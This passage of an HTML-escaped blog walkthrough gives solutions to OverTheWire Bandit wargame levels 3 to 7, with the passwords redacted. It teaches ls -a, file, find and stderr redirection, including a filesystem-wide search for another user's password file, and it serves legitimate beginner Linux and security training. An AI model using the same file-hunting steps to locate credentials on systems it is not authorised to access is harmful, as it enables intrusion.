&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Recognize that it’s sometimes necessary to escape characters within filenames and other arguments.&lt;&#x2F;p&gt;
&lt;p&gt;Most Linux users will avoid naming files with any special characters, but sometimes you’ll still run into them. This is especially true with files created on Windows where spaces inside file and directory names are much more common.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-3&quot; aria-label=&quot;Anchor link for: level-3&quot;&gt;Level 3&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a hidden file in the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls .&#x2F;inhere&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;According to the &lt;code&gt;ls&lt;&#x2F;code&gt; command, there don’t appear to be any files in the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory. That’s because &lt;code&gt;ls&lt;&#x2F;code&gt; doesn’t display hidden files by default.&lt;&#x2F;p&gt;
&lt;p&gt;To show hidden files with &lt;code&gt;ls&lt;&#x2F;code&gt;, it’s necessary to use the &lt;code&gt;--all&lt;&#x2F;code&gt; or &lt;code&gt;-a&lt;&#x2F;code&gt; flag.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -a .&#x2F;inhere&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.  ..  ...Hiding-From-You&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With the &lt;code&gt;--all&lt;&#x2F;code&gt; flag enabled, &lt;code&gt;ls&lt;&#x2F;code&gt; now shows all the files in the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory. Including the hidden files. In Linux and other Unix-based systems, a leading dot &lt;code&gt;.&lt;&#x2F;code&gt; in a filename is used to indicate a hidden file. As such, you may here them referred to as dotfiles.&lt;&#x2F;p&gt;
&lt;p&gt;Now that we know the name of the hidden file, &lt;code&gt;cat&lt;&#x2F;code&gt; can be used to print the contents just as we’ve seen before.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat inhere&#x2F;...Hiding-From-You&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;The term “dotfile” is also frequently used to refer to a user’s personal configuration files. This is because many configuration files follow the leading dot &lt;code&gt;.&lt;&#x2F;code&gt; convention, so they don’t clutter up directory listings.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Some systems will have aliases for the &lt;code&gt;ls&lt;&#x2F;code&gt; command as well, with various flags enabled. Here a few common ones.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ll&lt;&#x2F;code&gt; for &lt;code&gt;ls -AlhF&lt;&#x2F;code&gt; to list all files in a human-readable, long format&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;la&lt;&#x2F;code&gt; for &lt;code&gt;ls -A&lt;&#x2F;code&gt; to list all files excluding &lt;code&gt;.&lt;&#x2F;code&gt; and &lt;code&gt;..&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;l&lt;&#x2F;code&gt; for &lt;code&gt;ls -CF&lt;&#x2F;code&gt; to list files in a column format&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;lsd&lt;&#x2F;code&gt; for &lt;code&gt;ls --group-directories-first&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;See &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.digitalocean.com&#x2F;community&#x2F;tutorials&#x2F;an-introduction-to-useful-bash-aliases-and-functions&quot;&gt;this DigitalOcean article&lt;&#x2F;a&gt; to learn more about common aliases and how to configure your own.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-4&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-4&quot; aria-label=&quot;Anchor link for: level-4&quot;&gt;Level 4&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the only human-readable file in the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory. Tip: if your terminal is messed up, try the &lt;code&gt;reset&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;If you haven’t done so already, now would be a good time to read through the manual for each of the commands that were already mentioned in &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-0&quot;&gt;Level 0&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you’ve read through the description for each, you should have a pretty good idea of which command you’ll need to solve this one.&lt;&#x2F;p&gt;
&lt;p&gt;This level is asking us to identify which files in &lt;code&gt;inhere&lt;&#x2F;code&gt; are human readable. The &lt;code&gt;file&lt;&#x2F;code&gt; command can get the information we need.&lt;&#x2F;p&gt;
&lt;p&gt;From the &lt;code&gt;file&lt;&#x2F;code&gt; manual page we know that we can expect a response of &lt;code&gt;text&lt;&#x2F;code&gt; for any files that only contain typical &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ASCII#Character_set&quot;&gt;ASCII characters&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The  type  printed  will  usually  contain one of the words `text` (the file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;contains only printing characters and a few common control characters and is&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;probably safe to read on an ASCII terminal), `executable` (the file contains&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;the result of compiling a program  in  a form  understandable to some UNIX&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;kernel or another), or `data` meaning anything else (data is usually “binary”&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;or non-printable).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One option is to execute &lt;code&gt;file&lt;&#x2F;code&gt; on each file in &lt;code&gt;inhere&lt;&#x2F;code&gt; one-by-one like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ file inhere&#x2F;-file00&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;inhere&#x2F;-file00: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A better way is to use the glob &lt;code&gt;*&lt;&#x2F;code&gt; that we’ve seen previously. This allows us to run the file command on all the files at once.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ file .&#x2F;inhere&#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file00: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file01: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file02: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file03: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file04: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file05: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file06: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file07: ASCII text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file08: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;-file09: data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From here it’s obvious that we want the file with the text data at &lt;code&gt;.&#x2F;inhere&#x2F;-file07&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat .&#x2F;inhere&#x2F;-file07&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Always keep an eye out for opportunities to use globbing. Especially if you’re running commands over a bunch of files.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-5&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-5&quot; aria-label=&quot;Anchor link for: level-5&quot;&gt;Level 5&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file somewhere under the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory and has all of the following properties:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;human-readable&lt;&#x2F;li&gt;
&lt;li&gt;1033 bytes in size&lt;&#x2F;li&gt;
&lt;li&gt;not executable&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level requires a precise approach to locate the correct file. While it’s technically possible to solve with just the &lt;code&gt;ls&lt;&#x2F;code&gt; and &lt;code&gt;file&lt;&#x2F;code&gt; commands. It would require some tedious manual searching to find the files that match each of the criteria. Luckily the &lt;code&gt;find&lt;&#x2F;code&gt; command is capable of locating files with all the above criteria. You just need to know the right flags.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;find&lt;&#x2F;code&gt; command is essential to efficiently locating files on Linux systems. It has several flags that can be used to refine its search. Most importantly for this level are &lt;code&gt;-readable&lt;&#x2F;code&gt;, &lt;code&gt;-size&lt;&#x2F;code&gt; and &lt;code&gt;-executable&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ find -readable -size 1033c -not -executable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;maybehere07&#x2F;.file2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note &lt;code&gt;-size&lt;&#x2F;code&gt; and &lt;code&gt;-not&lt;&#x2F;code&gt; flags. The &lt;code&gt;c&lt;&#x2F;code&gt; suffix for the &lt;code&gt;-size&lt;&#x2F;code&gt; argument is used to indicate a size in bytes. The other available suffixes are all available in the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;find.1.html&quot;&gt;find man page&lt;&#x2F;a&gt;. Additionally, the &lt;code&gt;-not&lt;&#x2F;code&gt; flag negates the next expression, thus locating any files that aren’t executable in this example.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;In this case the content and size of the file are sufficient to uniquely identify the file and the &lt;code&gt;-not -executable&lt;&#x2F;code&gt; isn’t strictly necessary.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ find -readable -size 1033c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&#x2F;inhere&#x2F;maybehere07&#x2F;.file2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;blockquote&gt;
&lt;p&gt;Once again, &lt;code&gt;cat&lt;&#x2F;code&gt; the file to get the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat .&#x2F;inhere&#x2F;maybehere07&#x2F;.file2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-6&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-6&quot; aria-label=&quot;Anchor link for: level-6&quot;&gt;Level 6&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored somewhere on the server and has all of the following properties:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;owned by user bandit7&lt;&#x2F;li&gt;
&lt;li&gt;owned by group bandit6&lt;&#x2F;li&gt;
&lt;li&gt;33 bytes in size&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level is very similar to &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-5&quot;&gt;Level 5&lt;&#x2F;a&gt; with a couple minor differences. First, the file is “stored somewhere on the server” instead of in the &lt;code&gt;inhere&lt;&#x2F;code&gt; directory. That just means we’ll need to run the &lt;code&gt;find&lt;&#x2F;code&gt; command from the root of the file system to ensure the file isn’t missed. Secondly, the file is specified by two new parameters. The &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Users_and_groups&quot;&gt;user and group&lt;&#x2F;a&gt; that own the file.&lt;&#x2F;p&gt;
&lt;p&gt;Searching the &lt;code&gt;find&lt;&#x2F;code&gt; manpage you can find the two flags &lt;code&gt;-user&lt;&#x2F;code&gt; and &lt;code&gt;-group&lt;&#x2F;code&gt; to filter for files owned by the &lt;code&gt;bandit7&lt;&#x2F;code&gt; user and the &lt;code&gt;bandit6&lt;&#x2F;code&gt; group as specified by the prompt. The final parameter is for a &lt;code&gt;-size&lt;&#x2F;code&gt; of 33 bytes which we already saw in level 5.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s an example of the output from &lt;code&gt;find&lt;&#x2F;code&gt; with all the required arguments.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ find &#x2F; -user bandit7 -group bandit6 -size 33c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;drifter&#x2F;drifter14_src&#x2F;axTLS’: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;root’: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;snap’: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;tmp’: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;proc&#x2F;tty&#x2F;driver’: Permission denied&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;proc&#x2F;250118&#x2F;task&#x2F;250118&#x2F;fd&#x2F;6’: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;proc&#x2F;250118&#x2F;task&#x2F;250118&#x2F;fdinfo&#x2F;6’: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;find: ‘&#x2F;proc&#x2F;250118&#x2F;fd&#x2F;5’: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[TRUNCATED OUTPUT]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately searching with &lt;code&gt;find&lt;&#x2F;code&gt; from &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; has a side effect. Any files or directories that the current user is not allowed to read will print an error to the terminal. This makes it pretty difficult to parse the output for any resulting files that match our search. To avoid this flood of errors, a common solution is to redirect the standard error stream to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.digitalocean.com&#x2F;community&#x2F;tutorials&#x2F;dev-null-in-linux&quot;&gt;&lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; This is actually just a file that discards anything written to it.&lt;&#x2F;p&gt;
&lt;p&gt;To redirect a data stream in Bash we must specify its &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;File_descriptor&quot;&gt;file descriptor&lt;&#x2F;a&gt;, which is an integer. The file descriptor is followed by a greater than sign &lt;code&gt;&amp;gt;&lt;&#x2F;code&gt; which indacates that the stream should be redirected to a target file. Here is the same command as above with all errors redirect to &lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ find &#x2F; -user bandit7 -group bandit6 -size 33c 2&amp;gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;info&#x2F;bandit7.password&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see, the output is considerably easier to understand. Read the file at &lt;code&gt;&#x2F;var&#x2F;lib&#x2F;dpkg&#x2F;info&#x2F;bandit7.password&lt;&#x2F;code&gt; to get the next password.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-7&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-7&quot; aria-label=&quot;Anchor link for: level-7&quot;&gt;Level 7&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;&#x2F;code&gt; next to the word “millionth”.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;useful-commands-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#useful-commands-2&quot; aria-label=&quot;Anchor link for: useful-commands-2&quot;&gt;Useful commands 2&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This is the first level that OverTheWire introduces some new recommended commands since &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-0&quot;&gt;level 0&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;man.1.html&quot;&gt;man&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;access the system reference manuals&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;grep.1.html&quot;&gt;grep&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;print lines that match patterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;sort.1.html&quot;&gt;sort&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;sort lines in text files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;uniq.1.html&quot;&gt;uniq&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;remove duplicate lines from a file&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;strings.1.html&quot;&gt;strings&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;print readable strings from arbitrary files (even binary)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;base64.1.html&quot;&gt;base64&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;encode data into &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Base64&quot;&gt;Base64&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;tr.1.html&quot;&gt;tr&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;translate and replace characters&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;tar.1.html&quot;&gt;tar&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a utility for archive files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;gzip.1.html&quot;&gt;gzip&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a utility for compressing files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;bzip2.1.html&quot;&gt;bzip2&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a utility for compressing files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;xxd.1.html&quot;&gt;xxd&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a tool for creating a hex dump of a file&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Once again, I highly recommend at least reading through the introduction for each of these commands and checking out the examples at &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;cheat.sh&quot;&gt;cheat.sh&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you’ve followed the above advice, there should really only be one contender to solve this level. The &lt;code&gt;grep&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
